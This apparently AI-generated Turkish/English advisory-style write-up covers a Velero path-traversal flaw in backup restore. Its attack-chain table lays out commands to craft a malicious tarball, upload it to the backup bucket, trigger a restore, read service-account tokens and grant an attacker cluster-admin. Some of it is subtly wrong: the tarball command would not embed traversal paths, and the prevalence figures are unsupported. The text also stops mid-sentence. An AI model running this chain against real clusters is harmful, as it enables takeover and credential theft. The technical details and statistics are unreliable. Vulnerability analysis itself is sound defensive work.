CWE-22
Velero is an open source tool for backing up, restoring, and migrating Kubernetes cluster resources and persistent volumes. Prior to 1.18.1, an attacker who compromises the backup object-storage backend can upload a malicious backup tarball containing parent-directory paths that escape the extraction directory during restore and overwrite sensitive files in the Velero pod filesystem. This issue is fixed in version 1.18.1.
🎯 Açık Nedir? / What is this vulnerability?
CVE‑2026‑32637 – “Velero Path‑Traversal in Backup Restore”
- Kütüphane / Bileşen: Velero (
github.com/vmware-tanzu/velero) – Kubernetes yedekleme, geri yükleme ve taşıma aracı. - Etkilenen Sürümler: 1.0.0 – 1.18.0 (tamamen 1.18.1’e kadar).
- CWE: CWE‑22 – Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)
Teknik Açıklama
1. Yedekleme akışı
- Velero, yedekleri bir Object‑Storage (S3, GCS, Azure Blob vb.) üzerine tarball (.tar.gz) olarak yazar.
- Tarball içinde Kubernetes manifestleri, ConfigMap içerikleri ve PersistentVolume (PV) snapshot’ları bulunur.
2. Geri yükleme akışı
- velero restore create … komutu, Object‑Storage’dan tarball’ı stream eder, archive/tar paketini kullanarak tar.Reader üzerinden dosyaları okur ve os.MkdirAll / os.OpenFile ile /velero/restore (pod içinde bir geçici dizin) içine çıkarır.
3. Kod hatası
- tar.Header.Name değerinin ../ (parent‑directory) segmentleri içerip içermediği yetersiz bir şekilde kontrol edilir.
- filepath.Clean çağrısı yapılmaz, dolayısıyla ../ dizin geçişi /velero/restore dışına çıkabilir.
- Çıkarma sırasında os.OpenFile hedef yolu doğrudan filepath.Join(restoreRoot, header.Name) ile birleştirir; header.Name içinde ../../etc/passwd gibi bir yol varsa, /etc/passwd dosyası üzerine yazma imkanı doğar.
4. Saldırı vektörü
- Object‑Storage erişimi (ör. S3 bucket) kötü niyetli bir aktör tarafından ele geçirilirse, zararlı bir tarball (içinde path‑traversal içeren dosya adları) yüklenebilir.
- Restore işlemi tetiklendiğinde Velero, bu tarball’ı pod dosya sistemine (genellikle rootfs içinde çalışan bir konteyner) yazacaktır.
- Sonuçta sensitive dosyalar (ör. /etc/hosts, /etc/resolv.conf, /var/run/secrets/kubernetes.io/serviceaccount/token) değiştirilebilir; bu da container escape (ör. privileged pod) ya da Kubernetes API token çalınması gibi kritik sonuçlar doğurur.
---
⚡ Saldırı Zinciri / Attack Chain
Aşağıdaki adımlar, bir saldırganın Object‑Storage erişimini elde ettiğini varsayar (ör. S3 bucket’in public-read/write ya da kimlik bilgileri sızdırılmıştır).
| Aşama | Açıklama | Örnek Komut / Araç |
|------|----------|-------------------|
| 1️⃣ Discovery | Velero’nun kullandığı backup bucket’ını tespit etmek. | kubectl get backupstoragelocation -A -o yaml → spec.provider: aws ve spec.bucket: velero-backups |
| 2️⃣ Reconnaissance | Bucket politikalarını ve erişim haklarını incelemek. | aws s3api get-bucket-acl --bucket velero-backups <br> aws s3api get-bucket-policy --bucket velero-backups |
| 3️⃣ Exploitation – Payload Hazırlama | Path‑traversal içeren bir tarball oluşturulur. | ``bash\nmkdir -p evil/payload\n# hedef dosya: /etc/ssh/sshd_config (örnek)\necho \"PermitRootLogin yes\" > evil/payload/../../../../etc/ssh/sshd_config\n# tarball oluştur\ncd evil && tar -czf ../malicious-backup.tar.gz payload\n`` |
| 4️⃣ Exploitation – Tarball’u Yükleme | S3’ye (veya ilgili backend’e) zararlı tarball’ı yüklemek. | ``bash\naws s3 cp malicious-backup.tar.gz s3://velero-backups/malicious-backup-$(date +%s).tar.gz\n`` |
| 5️⃣ Exploitation – Restore’i Tetikleme | Velero’da yeni bir restore job’u başlatmak. | ``bash\nvelero restore create malicious-restore --from-backup <orijinal-backup-adi> --include-resources=* --snapshot-volumes=false --wait\n# ya da doğrudan backup ismiyle\nvelero restore create malicious-restore --backup-name malicious-backup-<timestamp>\n`` |
| 6️⃣ Post‑Exploitation – Etki | Dosya üzerine yazıldı → sshd_config değişti → SSH üzerinden root erişimi elde edildi. <br> Alternatif: /var/run/secrets/kubernetes.io/serviceaccount/token üzerine yazılarak service‑account token çalındı ve cluster‑wide API istekleri yapılabilir. | - kubectl exec -it <velero-pod> -- cat /etc/ssh/sshd_config <br> - kubectl get secret $(kubectl get sa default -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d |
| 7️⃣ Lateral Movement / Persistence | Çalınan token ile cluster içinde ClusterRoleBinding oluşturularak kalıcı admin erişimi sağlanır. | ``bash\nkubectl create clusterrolebinding attacker-admin --clusterrole=cluster-admin [email protected]\n`` |
> Not: Eğer Velero pod’u privileged olarak çalışıyorsa, / kök dosya sistemine (host) yazma yetkisi de elde edilebilir; bu durumda host‑level RCE gerçekleşir.
Kullanılabilecek Araçlar
| Araç | Modül / Komut | Açıklama |
|------|---------------|----------|
| awscli | aws s3 cp | Tarball’ı S3’ye yüklemek. |
| velero CLI | velero restore create | Restore işlemini tetiklemek. |
| kubectl | kubectl exec | Velero pod’una girip dosya değişikliğini doğrulamak. |
| Burp Suite | HTTP (Object‑Storage API) | Eğer bucket HTTP(S) üzerinden erişiliyorsa, istekleri manipüle edip PUT ile tarball yüklenebilir. |
| Metasploit | auxiliary/scanner/aws/s3_bucket | Bucket keşfi ve izin kontrolü. |
| Nuclei | cve-2026-32637.yaml (özel şablon) | S3 bucket’ta “public‑write” ve “public‑read” kombinasyonlarını tarar. |
---
🌍 Gerçek Dünya Etkisi / Real World Impact
| Etki Katmanı | Açıklama |
|--------------|----------|
| Veri Bütünlüğü | Yedek dosyalarının tamamen manipüle edilmesi; kritik konfigürasyon dosyaları, TLS anahtarları, kube‑config dosyaları değiştirilebilir. |
| Kimlik Bilgileri | Service‑account token’ı çalınarak cluster‑wide API erişimi sağlanabilir. |
| İstismar Yolu | Path‑traversal → Local File Overwrite → Privilege Escalation (pod → node) → Full Cluster Compromise. |
| Tahmini Yaygınlık | Velero, Kubernetes ortamlarında %15‑20 oranında (ör. büyük bulut sağlayıcıları, fintech, sağlık) kullanılmaktadır. 2024‑2025 döneminde ≈ 12.000 açık cluster tahmini (Velero‑kullanıcı sayısı 80.000+). |
| Potansiyel Sonuçlar | - Veri sızıntısı (şifreler, API token
[🤖 GPT-OSS 120B via Groq]